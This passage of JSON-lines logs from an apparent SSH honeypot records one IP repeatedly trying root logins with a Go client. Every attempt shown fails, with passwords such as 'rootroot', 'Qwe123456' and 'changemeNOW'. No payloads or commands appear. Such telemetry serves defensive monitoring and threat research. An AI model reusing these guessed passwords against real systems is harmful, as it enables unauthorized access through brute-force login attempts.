a2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:30.110536Z","src_ip":"60.165.124.241","session":"32ac15006afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:30.871373Z","src_ip":"60.165.124.241","session":"32ac15006afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:32.118887Z","src_ip":"60.165.124.241","session":"32ac15006afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39344,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ef40976b9b2","protocol":"ssh","message":"New connection: 60.165.124.241:39344 (10.17.0.5:22) [session: 7ef40976b9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:32.346667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:32.354865Z","src_ip":"60.165.124.241","session":"7ef40976b9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:32.599000Z","src_ip":"60.165.124.241","session":"7ef40976b9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456","message":"login attempt [root/Qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:33.319294Z","src_ip":"60.165.124.241","session":"7ef40976b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:34.560241Z","src_ip":"60.165.124.241","session":"7ef40976b9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42394,"dst_ip":"10.17.0.5","dst_port":22,"session":"813764754c5a","protocol":"ssh","message":"New connection: 60.165.124.241:42394 (10.17.0.5:22) [session: 813764754c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:34.794469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:34.798444Z","src_ip":"60.165.124.241","session":"813764754c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:35.035862Z","src_ip":"60.165.124.241","session":"813764754c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chameleon","message":"login attempt [root/Chameleon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:35.763154Z","src_ip":"60.165.124.241","session":"813764754c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:37.003593Z","src_ip":"60.165.124.241","session":"813764754c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45584,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcb0c65edef2","protocol":"ssh","message":"New connection: 60.165.124.241:45584 (10.17.0.5:22) [session: bcb0c65edef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:37.236682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:37.243791Z","src_ip":"60.165.124.241","session":"bcb0c65edef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:37.481092Z","src_ip":"60.165.124.241","session":"bcb0c65edef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211@","message":"login attempt [root/Aa112211@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:38.201769Z","src_ip":"60.165.124.241","session":"bcb0c65edef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:39.442661Z","src_ip":"60.165.124.241","session":"bcb0c65edef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f821e7f96d","protocol":"ssh","message":"New connection: 60.165.124.241:48864 (10.17.0.5:22) [session: 58f821e7f96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:39.674788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:39.678987Z","src_ip":"60.165.124.241","session":"58f821e7f96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:39.915087Z","src_ip":"60.165.124.241","session":"58f821e7f96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:40.628960Z","src_ip":"60.165.124.241","session":"58f821e7f96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:41.898980Z","src_ip":"60.165.124.241","session":"58f821e7f96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51998,"dst_ip":"10.17.0.5","dst_port":22,"session":"914efe498881","protocol":"ssh","message":"New connection: 60.165.124.241:51998 (10.17.0.5:22) [session: 914efe498881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:42.144399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:42.150235Z","src_ip":"60.165.124.241","session":"914efe498881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:42.415088Z","src_ip":"60.165.124.241","session":"914efe498881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netadmin","message":"login attempt [root/netadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:43.194145Z","src_ip":"60.165.124.241","session":"914efe498881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:44.454616Z","src_ip":"60.165.124.241","session":"914efe498881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"26efeb7ffff8","protocol":"ssh","message":"New connection: 60.165.124.241:55510 (10.17.0.5:22) [session: 26efeb7ffff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:44.708838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:44.714785Z","src_ip":"60.165.124.241","session":"26efeb7ffff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:44.972530Z","src_ip":"60.165.124.241","session":"26efeb7ffff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NSSpassword1","message":"login attempt [root/NSSpassword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:45.773925Z","src_ip":"60.165.124.241","session":"26efeb7ffff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:47.037766Z","src_ip":"60.165.124.241","session":"26efeb7ffff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58734,"dst_ip":"10.17.0.5","dst_port":22,"session":"7108f64743e0","protocol":"ssh","message":"New connection: 60.165.124.241:58734 (10.17.0.5:22) [session: 7108f64743e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:47.267422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:47.275052Z","src_ip":"60.165.124.241","session":"7108f64743e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:47.518925Z","src_ip":"60.165.124.241","session":"7108f64743e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:48.255064Z","src_ip":"60.165.124.241","session":"7108f64743e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:49.508820Z","src_ip":"60.165.124.241","session":"7108f64743e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33942,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7abacb93bac","protocol":"ssh","message":"New connection: 60.165.124.241:33942 (10.17.0.5:22) [session: e7abacb93bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:49.758286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:49.763030Z","src_ip":"60.165.124.241","session":"e7abacb93bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:50.002137Z","src_ip":"60.165.124.241","session":"e7abacb93bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odroid","message":"login attempt [root/odroid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:50.730265Z","src_ip":"60.165.124.241","session":"e7abacb93bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:51.978743Z","src_ip":"60.165.124.241","session":"e7abacb93bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca965439dbec","protocol":"ssh","message":"New connection: 60.165.124.241:37128 (10.17.0.5:22) [session: ca965439dbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:52.221205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:52.225707Z","src_ip":"60.165.124.241","session":"ca965439dbec","protocol":"ssh"}
